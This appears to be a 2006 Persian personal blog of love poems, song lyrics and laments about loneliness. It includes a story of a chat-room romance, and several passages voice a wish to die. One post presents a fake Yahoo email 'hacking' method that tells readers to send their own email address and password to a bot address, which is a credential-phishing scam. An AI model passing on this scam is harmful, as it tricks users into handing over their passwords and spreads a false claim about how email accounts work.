تبليغاتX
تنهایی درد زمونه
عشق نافرجام
سلام من بازم برگشتم بعد از چند ماه  عشق چیست
+ نوشته شده در  چهارشنبه 29 آذر1385ساعت 10:55 قبل از ظهر  توسط صالح محمدی | 

شب میایدو میرود روزها سپری میشوند ومن با این همه درد به زندگی خود ادامه میدم میخوام زندگی کنم اما نمیشه زندگی کردن خوبه اما تو این زمونه نه؟تو این زمونه به نظر من مرگ یعنی راحتی از این دنیاودرداییکه توش هست

همه دارن میجنگن تا بتونن بهترین زندگیرو واسه خودشون درست کنن و نمیدونن  واسه رسیدن به این زندگی چه چیزایی رو دارن از دست میدن ؟چیزایی رو از دست میدنن که سالها واسه رسیدن به اونا زحمت کشیدند

تواین زمونه کسی میتونه موفق باشه که بتونه خودشو...دنیاشو...اعتقاداشو باور کنه

همه میگن اول از همه خدا رو دوس دارن وبعد کسایه دیگه رو میگن اما من دارم به اونا میگم که شما خدا رو دوس ندارید وحرفایی که میزنید دروغه میتونم حرفامو ثابت کنم

کسیکه نخواد با دوست خودش 3.2دقیقه تنهایی خلوت کنه. درددل کنه دوستی اونا به چه دردی میخوره

اقا یا خانم محترمی که ادعا میکنی خدا رو دوس داری پس چرا وقتی با یکی دیگه میشینی دوس داری ساعتها باهاش حرف بزنی شاید شبم بیدار بمونی تا باهاش بگیو بخندی؟اما وقتی نوبت به نماز خوندنت میرسه اولنش تنبلی میکنی دومن اگه نماز هم بخونی تند تند میخونی تاکه نمازت تموم بشه ؟یعنی بازم ادعات میشه خدارو دوس داری

واقعا که چقدر از دنیا عقب موندیم

چقدر از راه خودمون گمراه شدیم؟خیلی؟ اما نمیخواهیم قبول کنیم که داریم کج میریم تا کجا میخواهیم این راهو ادامه بدیم ؟

همه دوس دارن عاشق بشن ؟میدونید بیشتر عشقایه این زمونه هوسه عشق نیست؟من دارم به همه میگم بیایین عاشق باشین؟عاشق خدا باشین باخدا عشق بازی کنین میدونین چه جوری ؟با نماز خوندن خودتونو بهش نزدیک کنین ؟هر چی بخوایین بهتون میده ؟

چرا ادما دارن خدارو...امامارو...خودشونو فراموش میکنن؟ اخه چرا تا کی میخوان این جوری باشن

حالا دیگه وقتشه بییایین خودتونو عوض کنین؟میدونیین چه جوری اولش به خودتون فکر کنین به کس دیگه ای نه به خودتون ؟به خوده خودتون فکر کنیین ببینین کی هستید کی بودید چرا اینجوری شدید چرا؟سعی کنید به گذشتتون بر گردید به کودکیهاتون که کی بودید چی شدید ؟خودتونو پیدا میکنید باور کنید دیر نشده؟

برین تو اینه به خودتون نگا کنین ببینین چقدر بزرگ شدین؟ایا همیشه اینجوری می مونید؟

20 ساله دیگه  چه جوری میشین تا حالا فکر کردید

 

+ نوشته شده در  یکشنبه 18 تیر1385ساعت 8:47 بعد از ظهر  توسط صالح محمدی | 
شانه هايتزززززززززززز
+ نوشته شده در  یکشنبه 4 تیر1385ساعت 9:59 قبل از ظهر  توسط صالح محمدی | 


سلام امیدوارم که همیشه خوب  باشی من  تو این زمونه خستگیرو دارم حس میکنم از این روزگار بدم میاد از ادماش ؟ که تنها به فکرخودشونن اصلا هم به دورو برشون نگاه نمیکنن که ببینن چه خبره نمیدونم من نمیتونم تو این زمونه دووم بیارم اخه واقعا زمونه بدی شده هیشکی حرفایه اون یکی رو باور نمیکنه نمیدونم چرا نمیدونم ؟نمیدونم
یه روز اومدیمو دلومونو دادیم دسته یکی که اصلا دوستمون نداره نمیدونم چرا ؟ نمیدونم ؟نمیدونم؟
از همه چی دلمومیکنم تنها به خاطره اون اما اون چی ؟ اون نمیخواد اره تو رو نمیخواد تو که اینو میدونی پس چرا تو اینجا موندی به خودم میگم راتو بکش برو  برو تا جایی برو که هیشکی نتونه تو رو دست بندازه
با خودم میگم اخه چرا  واقعا ادما گاهی دیوونه میشن ؟ ادما دیوونه نیستن اما بعضیها دوست دارن با سره کار گذاشتنه دله اونا اونا رو دیوونه کنن ؟ ودر اخر هم با دیوونه کردن یه عاشق دل شکسته بر میگردن سره زندگی خودشون اصلا هم فکر نمیکنن که صرف مقابل داره چی به سرش میاد ؟
بابا تا کی بعضیا میخوان با دل عاشقا بازی کنن عاشقایی که با تمومه وجوده خودشون جلو اومدن اما کیه که عشقه اونا رو باور کنه
میگن تو این زمونه یه روز یه پسری  که از دنیا سیر بوده میره تو یه شهر غریب ؟میره به جنگه سرنوشت اما سرنوشت اونو با دختری اشنا میکنه که خوبه  پسرره رو درکش میکنه پسره پسره خوبیه ؟ البته دختره هم خوبه شاید خوبتر از پسره؟
روزه اشناییشون پسره با یکی از فامیلاش میره تا تویه کافی  با خونوادش بچته ؟ اما موقعه  چت کردن یه دخترو میبینه که  روبروش  داره با یه کامپیوتره دیگه میچته واسه همین پسره  سعیشومیکونه که یه جوری  ایدی اون دختره رو به چنگ بیاره ؟ اخه پسره از اون دختره خوش اومده بوده ؟ بالخره پسره موفق میشه کاره خودشو بکونه  ایدی دختره رو تونست از  کامپیوتره خودش بیرون بکشه اما حالا به دختره چی بگه ؟
پسره:سلام
دختره:گم شو
:پسره : خوبی
دختره: بازم گم شو
: پسره: شما اینطوری از غریبه ها تو شهرتون پذیرایی میکنیین:
دختره:سلام شما
پسره :من یه غریبه
دختره :وب بده
پسره: نیازی به وب نیست ببین من  ازتو وب نمیخوام اخه دیدمت
دختره:نه وب بده من ندیدمت
پسره:بازم میگم نیازی به وب نیست اخه من الان  روبروت نشسته ام
دختره:نه بابا دروغ نگو کدومشونی
:پسره : اونی که صورتش پره ریشه
پسره مطمان بود که داره با اون دختره که روبروش نشسته میچته اما فامیله پسره قبول نمیکرد که اون  این دختره باشه ؟ وقتی که پسره میگهمن اونیم که ریش داره دختره یه دفعه حولش میگیره نمیدونه چی کار کنه پسره هم نمیدونه چی کار کنه اون روز تموم میشه میره  فردایه اون روز پسره بر میگرده خونشون  تا میاد ایدیشو باز کنه میبینه که دختره واسش اف گذاشته  خواهره پسره کنارش نشسته میگه اون کیه پسره میگه که اون دختره کیه  پسره خودشو کامل به دختره معرفی میکنه اما دختره حتی حاضر نیست بگه اسمش چیه  پسره اصرار نمیکنه  دختره به پسره میگه کی میای شهر ما پسرهمیگه تا چند روز دیگه میام؟
تو این چند روز پسره ودختره هرروز باهم میچتن تا اینکه اون روز میرسه پسره تو پوسته خودش نمیگنجه  اخه اخه دختری رو دیده که دختره خوبیه؟ پسره روز قرار سره وقت با یه تیپه خوب  با صورتی بی ریش میره کافی دختره اونو نمیشناسه اصلا نمیشناسه اما وقتی به لباسایه پسره نگا میکنه میبینه که درست اینهو  اون مشخصاتیه که پسره در مورد خودش به اون داده پسره میره میشینه ایدیشو باز میکنه سلام میده با دختره بازم میچته  اوله اشناییشون ادامه میابه
پسره دوست نداره هر روز بره کافیه اونا اخه نمیخواد دختره از دستش نارحت بشه ؟
روز ها میگذره تا جایی که یه روز که ایدیها باز نمیشد  دختره وپسره با هم دیگه شروع میکنن به صحبت کردن پسره خجالت میکشه  ؟
حرف نمیزنه دختره هی سعیشو میکونه  که پسره یه چیزی بگه اخرش پسره یواش یواش به حرف میاد شروع میکنه به صحبت کردن  پسره به دختره میگه تو چرا چادر سرت نمیکنی دختره میگه من  نمیتونم چادرو رو سرم نگه دارم  اخه نمیتونم جموجورش کنم  خجالتم میکشم ؟ پسره میگه سعی کن چادر سرت کنی...؟
بعده روزها یه روز که پسره داشت از تویه کافینته اونا بیرون میومد چندتا پسره دیگه به پسره میگن اقا یه لحظه میشه باهاتون حرف بزنیم  پسره میگه بفرمایید  پسرا میگن اینجا نمیشه باید بریم یه جایه دیگه با هم حرف بزنیم پسره قبول میکنه میرن پارک پسرا در مورد اون دختری که تو کافیه داشتن   صحبت میکردن  یه چیزایی به پسرهگفتن یه چیزایی که پسره رو داغون کردش پسره نمیتونست حرفایه اون  پسرا رو قبو ل کنه اخه خودش دختره رو دیده بود  با دختره اشنا شده بود همه چی رو باور میکرد جز حرفایی که اون پسرا بهش زدن
پسره برگشتو به اون پسرا گفت که  هر کی شما رو فرستاده برین بهش بگین خودش بیادو حرفاشو بگه
   پسره از اون پسرا نمیترسید اخه تا حالا  نخواسته که به دلش ترس را بده راستش پسره اهله دعوا نبود  اما اگه دعوا میکرد وای؟ خدا اون روزو نیاره شاید خون به پا میشد  پسره بر میگرده
پسره دو شبهکه نخوابیده واسه خاطره دختره اما دختره چی دختره رفته خونشون گرفته خوابیده راحت بی انکه فکر کنه ببینه پسره داره چی میکشه
پسره ادمه صبوریه واسه همین به روش نمیاره؟ میره کافی سلام میکنه دیگه این پسره اون پسر قبلیه نیستش اخه  دلشو شکستن دختره میخنده پسره هم واسه خاطره دختره میخنده اما چه خندهای خندهای که داره جگره پسرهرو میخوره پسره دلش پره خونه اما کی میخواد به حرفیه پسره گوش کنه ؟
پسره دوس داره دختره باهاش رو راس باشه  پسره دیگه نمیتونست تو کافی دووم بیاره واسه همین میزنه بیرون میره  میشینه یه گوشه فکر میکنه  پسره  با خودش درگیره شاید  داره دیوونه میشه نمیدونه چی کار کنه نمیدونه  هیچی نمیدونه
پسره خیلی دلش گرفته با خودش میگه  مناینجا چی کار میکنم
از اون طرف هم خونواده پسره از شهری که توشبه دنیا اومده بود دارن میرن میرن یه شهری که بزرگتره شهریکه پسره دو سال اونجا درس خونده ؟ خونواده پسره اصلا دوس ندارن یعنی راضی نیستن که پسرشون تویه شهره غریب بمونه شهری که ....؟
اما پسره مونده ؟ به خاطره دختره اما دختره چی  به خاطره پسره چی کرده ؟
پسره از زندگیش  سیر شده که اومده تو این شهر اما کی اونو درکش میکنه  ؟؟؟
پسره داره دلش میگیره اخه از این زمونه از ادماش خسته شده
دختره  حتی نمیخواد پسره رو یه جایه دیگه  ببینه پسره میخواد با دختره تنها صحبت کنه یه جایی که بتونه حرفه دلشو به دختره بزنه امادختره همیشه حرفو عوض میکنه  نمیخواد  دیگه مگه زوره پسره این حرفو با خودش میزنه پسره  میخواد از این شهره غریب بره نمیدونه کجا اما میخواد بره هر جایی که بتونه یه جاییکه بتونه دلشو خالی کنه اما اما کجا چه جوری نمیدونه  هیچی  نمیدونه نمیدونه چی کار کنه اخه دیگه مغزش کار نمیکنه 
خسته شده نمیدونه میخواد بره تا جایی که  میتونه  اما نمیره واسه خاطره دختره
پسره میگه یه مدته دیگه صبر میکنم واسه خاطره دختره   اخه دختره رو دوست داره اما بازم فکر میکنه دختره دوسش نداره
پسره دوس داره   دختره باهاش رک  باشه  اما دختره ؟ 
دیگه هیچی نمیخوام بنویسم یعنی نمیدونم چی  بنویسم دیگه حتی ؟ حتی؟
خودمو نمیفهمم منی که همه رو راهنمایی میکنم منی که به مشکلایه همه دوستاممیرسیدم  دیگه نمیتونه دیگه نمیتونه خودشو مشکلشو دلشو نمیتونه اروم کنه نمیتونه
شاید برم برم تا بتونم درسامو ادامه بدم اخه تا کنکور خیلی نمونده  برم درسمو ادامه بدم تا شاید تونستم دردایه روزگارو فراموش کنم وقتی به  ادم بزرکا نیگا میکنم با خودممیگم اینا چطوری تونستن با این دردایه زمونه خودشونو سازش بدن اونا چطوری این همه سالو زندگی کردن راستش خودمو گم کردم نمیدونم  نمیدونمخودمو دلمو کجا جا گذاشتم نمیدونم
با خدا دوستم خیلی دوستم ازش هر چی خواستم بهم دادهولی بازم بهش بدهکارمک نمیدونم خدا منو چرا نگه داشته اخه مگه من به چه دردی میخورم دوس دارم زودتر برم برم از این دنیا از این سیا هیا دوس دارم برم
نمیدونم همه یه جوریشونه همه فکر میکنن خیلی میدونن اما  نمیدونن به خدا نمیدونن اخه اگه میدونستن که زمونه این جوری خراب نمیشد
شب ساعت 30/8 صالح محمدی
+ نوشته شده در  پنجشنبه 1 تیر1385ساعت 1:2 بعد از ظهر  توسط صالح محمدی | 
این بخش مربوط به مشکلات جوانان میباشد

حل مشکلات تا جایی که امکان دارد

نشان دادن راه حل 

با ما تماس بگیرید 

منتظریم

+ نوشته شده در  یکشنبه 28 خرداد1385ساعت 6:26 قبل از ظهر  توسط صالح محمدی | 

سکوت،دسته گلی بود

میان حنجره من

 

ترانه سا حل،

نسیم بوسه من بود و پلک باز تو بود.

 

 

بر آ بها پرنده باد،

میان لانه صد ها صدا پریشان بود.

بر آ بها

پرنده بی طا قت بود.

 

 

صدای تندر خیس،

و نور  نور تر آ ذرخش،

در آ بها آیینه ای سا خت

که قاب رو شنی از شعله های دریا داشت.

 

نسیم بو سه و

پلک تو و

پرنده باد،

شدند آتش و دود

میان حنجره  من،

سکوت دسته گلی بود.

+ نوشته شده در  یکشنبه 28 خرداد1385ساعت 6:15 قبل از ظهر  توسط صالح محمدی | 
عشق آتش است اما آتشی سرد با وجود این باید در این آتش سوخت زیرا این آتش تطهیر کننده است.
 
این آتش فقط برای تطهیر کردن می سوزاند ناخالصی است که می سوزد و طلای خالص باقی می ماند .
 
بدین سبب عشق رنج آفرین است زیرا خواهان خراب کردن ماست تا دوباره آباد کند دانه باید شکسته شود وگرنه درخت چگونه می تواند متولد گردد؟
 
رود باید به انتها برسد وگرنه چگونه می تواند به دریا ملحق شود؟
 
بنابر این راحت باشیم و بگذاریم سوخته شویم وگرنه چگونه می توانیم متولد گردیم و خویشتن خویش را بیابیم؟

+ نوشته شده در  یکشنبه 28 خرداد1385ساعت 6:15 قبل از ظهر  توسط صالح محمدی | 
ببار بارن که شاید ما هم وجدمان ........ ؟

رگبار
ببار بارون .....
همه ی چشمها به راه توست ...
بی تاب بخشش تو ...
همه ی دلها بی قرارن ...
ببار بارون ...
نه فقط به کوه و دشت و صحرا ...
ببار به دلهای فراموش شده ...
به ذهنهای پر تشویش ...
به روح های خط خطی ...
ببار به آتش انتظار ...
به خلوت تنهایی ...
ببار که تو همیشه سرود نجاتی ...
بگذار تا همه خودشان باشند ...
بگذار تا پاییز بیرنگ باشد ...
آسمان پر از ابر ...
بگذار ابرها پر از باران باشند ...
و باران پر از حرف ...

 

+ نوشته شده در  یکشنبه 28 خرداد1385ساعت 6:2 قبل از ظهر  توسط صالح محمدی | 

درکه زندگی چه سخته

عشقو عاشقی چه ساده

اخرش نفهمیدم من

دل تو چرا میگیره

دله تو وقتی میگیره

باز پاییز میاد سراغم

باد پاییزی دوباره

برگامو ازم میگیره

من میشم دوباره تنها

تویه این سکوته دلگیر

کاشکی باز دوباره واشه

دل تو از تو قفسها بارونه

بارونه غمت بباره

از تو تاقچه زمستون

تویه غربت سکوتم

تو بهر عشقم هستی

تو شکوفه امیدی

تویه سرمایه زمستون

دیگه دل نمیکنم من

وقتی عشقمو ببینم

با کسی راحی نمیشم

واسه خاطره نگاهش

مرحمه قلب شکسته

ای تو عشقه نازنیینم

کی میخوای بیای سراغم

تاکه غصه هام تموم شه

+ نوشته شده در  یکشنبه 28 خرداد1385ساعت 5:44 قبل از ظهر  توسط صالح محمدی | 

تنهایی

عشق نافرجام

asmon_aby_2006     ایدی جدید من

+ نوشته شده در  دوشنبه 22 خرداد1385ساعت 10:48 قبل از ظهر  توسط صالح محمدی  |  نظر بدهید

com

ماجراي يك عشق

ماجراي يك عشق

به روي گونه تابيدي و رفتي مرا با عشق سنجيدي و رفتي

تمام هستي ام نيلوفري بود تو هستي مرا چيدي و رفتي

كنار انتظارت تا سحر گاه شبي همپاي پيچك ها نشستم

تو از راه آمدي با ناز و آن وقت تمناي مرا ديدي و رفتي

شبي از عشق تو با پونه گفتم دل او هم براي قصه ام سوخت

غم انگيز است تو شيدائيم را به چشم خويش فهميدي و رفتي

چه بايد كرد اين هم سرنوشتي است ولي دل را به چشمت هديه كردم

سر راهت كه مي رفتي تو آن را به يك پروانه بخشيدي و رفتي

صدايت كردم از ژرفاي يك ياس به لحن آب نمناك باران

نمي دانم شنيدي بر نگشتي و يا اين بار نشنيدي و رفتي

نسيم از جاده هاي دور آمد نگاهش كردم و چيزي به من نگفت

تو هم در انتظار يك بهانه از اين رفتار رنجيدي و رفتي

عجب درياي غمناكي ست اين عشق ببين با سرنوشت من چها كرد

تو هم اين رنجش خاكستري را ميان ياد پيچيدي و رفتي

تمام غصه هايم مثل باران فضاي خاطرم را شستشو داد

و تو به احترام اين تلاطم فقط يك لحظه باريدي و رفتي

دلم پرسيد از پروانه يك شب چرا عاشق شدن درد عجيبي است

و يادم هست تو يك بار اين را ز يك ديوانه پرسيدي و رفتي

تو را به جان گل سوگند دادم فقط يك شب نيازم را ببيني

ولي در پاسخ اين خواهش من تو مثل غنچه خنديدي و رفتي

دلم گلدان شب بو هاي روياست پر است از اطلسي هاي نگاهت

تو مثل يك گل سرخ وفادار كنار خانه روئيدي و رفتي

تمام بغض هايم مثل يك رنج شكست و قصه ام در كوچه پيچيد

ولي تو از صداي اين شكستن به جاي غصه ترسيدي و رفتي

غروب كوچه هاي بي قراري حضور روشني را از تو مي خواست

تو يك آن آمدي اين روشني را بروي كوچه باريدي و رفتي

كنار من نشستي تا سپيده ولي چشمان تو جاي دگر بود

و من مي دانم آن شب تا سحرگاه نگاران را پرستيدي و رفتي

نمي دانم چه مي گويند گلها خدا مي داند و نيلوفر و عشق

به من گفتند گلها تا هميشه تو از اين شهر كوچيدي و رفتي

جنون در امتداد كوچه عشق مرا تا آسمان با خودش برد

و تو در آخرين بن بست اين راه مرا ديوانه ناميدي و رفتي

شبي گفتي نداري دوست من را نمي داني كه آن شب چه كردم

خوشا بر حال آن چشمي كه آن را به زيبايي پسنديدي و رفتي

هواي آسمان ديده ابري است پر از تنهايي نمناك هجرت

تو تا بيراهه هاي بي قراري دل من را كشانيدي و رفتيپريشان كردي و شيدا نمودي تمام جاده هاي شعر من را

رها كردي شكستي خرد گشتم تو پايان مرا ديدي و رفتي

+ نوشته شده در  شنبه 20 خرداد1385ساعت 11:15 قبل از ظهر  توسط صالح محمدی  |  نظر بدهید

 
     
 

 
     
 

+ نوشته شده در  چهارشنبه 3 خرداد1385ساعت 10:36 قبل از ظهر  توسط صالح محمدی  |  نظر بدهید

برای هک کردن ايميل شما نياز به  ۱  ايميل آدرس داريد و اين ميل آدرس فرقی نداره که مال کجا باشه و هيچ مهدوديتی هم نداره........!!!!!
شما با فرستادن اين ايميل خيلی راحت بگم به سرور يا همون ربات سرور ميدين که روبات رو از کار ميندازه و به قول خودمون هنک می کنه و بعدش هر چی که ازش بخواين بهتون ميده که ديگه اين آلی ميشه نه.....؟؟؟؟!!!۱  . در قسمت To  اين آدرس را وارد می کنيد....
pass_sender_servers@yahoo.com
این آدرس ربات پسورد ياب ياهو می باشد....!!!!
۲  . برای قسمت Subject  آدرس ميل قربانی رو کامل بنويسيد مثل asdf@yahoo.com
۳  . در قسمت متن نامه که همون messeg box  می شود به ترتيب مانند پايين عمل کنيد....( من اين قسمت را انگليسی می نويسم تا اشتباه نشه )

(our E-mail adresse(Your password  در اين قسمت که خط اول باشه ايميل آدرس خودتون و پسوردش رو وارد کنيد و اينم بگم که نگران نباشين اين نامه برای سرور ياهو ارسال ميشه نه هيچ فرد يا سرور ديگه......!!! مثلا براي من ميشه :
alirezacracker(spasswordam

در خط دوم این کد رو وارد کنید :

*****___Hotmailpswd_rtrvl_Xtra-----fast-----server(victimspswd)----Snd---bk---anypswd(crack---rtrvl%^&%^&%^&"£""!_______SND_____Free----4635---Yahoo--Aol---Hotmail____(pass_sender_servers@yahoo.com)
Email----Cracker%^&&^&^*(((^%^%$%_@@@------------------SEND....

بعدش یه میل براتون فرستاده میشه که پسوردش داخل همون میل هست !

 
http://mihangig.persiangig.com/love/love2.swf
+ نوشته شده در  يکشنبه 31 ارديبهشت1385ساعت 9:1 بعد از ظهر  توسط صالح محمدی  |  یک نظر

دوست دارم عزیزم

فقط میگه دوستت دارم

 دنيا ...

دنیا دو روز است يک روز با تو و روز ديگر عليه تو

 روزي که با توست مغرور مشو

 و روزي که عليه توست نااميد مگرد

 زيرا هر دو پايان پذيرند

      

یه شب تو پاییز که غمت سر بسر دل میذاره

 مهدی همون کسی که بیشتر از همه دوست داره

 

019

 + نوشته شده در  سه  نظر


 
+ نوشته شده در  جمعه 22 ارديبهشت1385ساعت 6:13 بعد از ظهر  توسط صالح محمدی  |  یک نظر

.:: نظرات نگاشته شده از سوي خوانندگان



عشق و عاشقي بحثش جداست
ولي با نظر بهاره خانم موافقم

تيام ميرزازاده :: April 17, 2004 01:12 AM


قابل توجه آقايان محترم:
بنده عرض کردم صداقت عشق گم شد نه خود عشق.
بد نبود مطلب رو دقيق مي خونديد.
«عشق فنا شدني نيست »

بهاره رجائي :: April 15, 2004 01:36 PM


حسين جون کاملا باهات هم عقيده هستم چرا که عشق هيچوقت گم نميشه و از بين نميره .هيچ فاصله اي نميتونه عشق رو از بين ببره البته اگر واقعا عشقي وجود داشته باشه و عاشقي

مهران فرزاد :: April 15, 2004 01:14 PM


اين آقاي رئيس(حسين) نميدونم چه مشکلي با عشق دارن. اين عشقا که هميشه الکي و سرسري نيست
درست و حسابي هم توشون پيدا ميشه
اما به هر حال لعنت به اين فاصله هاي دور

عبدالله :: April 15, 2004 12:51 PM


عشق گم نميشه
اين عاشقه که گم ميشه
يعني اول عشق کم ميشه
بعد عاشق گم ميشه
اين هم دليل داره چون از اول عشقي در ميون نبوده
يه پوسته اي از علاقه که اسمشو ميزاريم عشق
بعد هم که پوسته کنار ميره داد ميزنيم آخ عشق نابود شد

حسين منصور :: April 15, 2004 10:34 AM


ميتوان از ميان فاصله ها را برداشت..
دل من با دل تو هر دو بيزار از اين فاصله هاست...

سارا :: April 15, 2004 09:09 AM

ادامه مطلب
+ نوشته شده در  جمعه 22 ارديبهشت1385ساعت 1:7 بعد از ظهر  توسط صالح محمدی  |  نظر بدهید

 

هرچه آرزوي خوبه مال تو
هر چه كه خاطره داري مال من

اون روز هاي عاشقونه مال تو
اين شباي بيقراري مال من

منم و حسرت با تو ما شدن
تويي بدون من رها شدن

آخر غربت دنياست ، مگه نه؟
اول دوراهي آشنا شدن

توي نگاه آخر تو
آسمون خونه نشين بود
دل تو شكسته بودند
همه ي قصه همين بود

مي تونستم با تو باشم
مثل سايه مثل رويا
اما بيدارم و بي تو
مثل تو تنهاي تنها

هرچه آرزوي خوبه مال تو
هرچه كه خاطره داري مال من
اون روزهاي عاشقونه مال تو
اين شباي بيقراري مال من
+ نوشته شده در  جمعه 22 ارديبهشت1385ساعت 1:4 بعد از ظهر  توسط صالح محمدی  |  نظر بدهید

چشمام مي خواد بباره


براي غربت دلم
چشمام مي خواد بباره

عزاي عشق چه سخته
خدا واسه كسي نياره

هميشه بودم كنارت
نميديدي تو انگار

حالا ببين كه رفتم
عكسمو از طاقچه بردار

پرواز عشق با تو
تو خاطرم نشسته

حيف كه ديگه تموم شد
بال و پرم شكسته

دلم ميگه بي خيال
جول و پلاس و بردار

حالي بده به باطن
چشماتو به گريه بسپار
+ نوشته شده در  جمعه 22 ارديبهشت1385ساعت 1:4 بعد از ظهر  توسط صالح محمدی  |  نظر بدهید

+ نوشته شده در  جمعه 22 ارديبهشت1385ساعت 1:1 بعد از ظهر  توسط صالح محمدی  |  نظر بدهید

اگر روزی کسی از من بپرسد

که دیگر قصدت از این زندگی چیست؟

بدو گویم که چون می ترسم از مرگ

مرا راهی به غیر از زندگی نیست!1

 

من آن دم چشم بر دنیا گشودم

که بار زندگی بر دوش من بود

چو بی دلخواه خویشم آفریدند

مرا کی چاره ای جز زیستن بود

 

من اینجا میهمانی ناشناسم

که با نا آشنایا نم سخن یست

به هر کس روی کردم؛ دیدم آ وخ!

مرا از او خبر ، او را زمن نیست

 

حدیثم را کسی نشید ؛ نشنید

درونم را کسی نشناخت ؛ نشناخت

بر این چنگی که نام زندگی داشت

سرودم را کسی ننواخت ؛ ننواخت

 

برونم کی خبر داد از درونم

که آن خاموش و این آتشفشان بود

نقابی داشم بر چهره؛ آرام

که در پشتش چه طوفان ها نهان بود

 

همه گفتند عیب از دیده تو است

جهان را بد چه می بینی که زیباست

ندانم راست است این گفته یا نه

ولی دانم که عیب از هستی ماست

 

چه سود از تابش این ماه و خورشید

که چشمان مرا تابندگی نیست

جهان را گر نشاط زندگی هست

مرا دیگر نشاط زندگی نیست

 
+ نوشته شده در  جمعه 22 ارديبهشت1385ساعت 12:58 بعد از ظهر  توسط صالح محمدی  |  نظر بدهید

+ نوشته شده در  چهارشنبه 24 خرداد1385ساعت 12:28 بعد از ظهر  توسط صالح محمدی | 
 
صفحه نخست
پست الکترونیک
آرشیو وبلاگ
عناوین مطالب وبلاگ
درباره وبلاگ

نوشته های پیشین
آذر 1385
تیر 1385
خرداد 1385
اردیبهشت 1385
آرشیو موضوعی
دیگه تنهایی بسه
دیگه تنهایی بسه
 

 RSS

POWERED BY
BLOGFA.COM

122 (SADEGH_MADINEH@YAHOO.COM) -->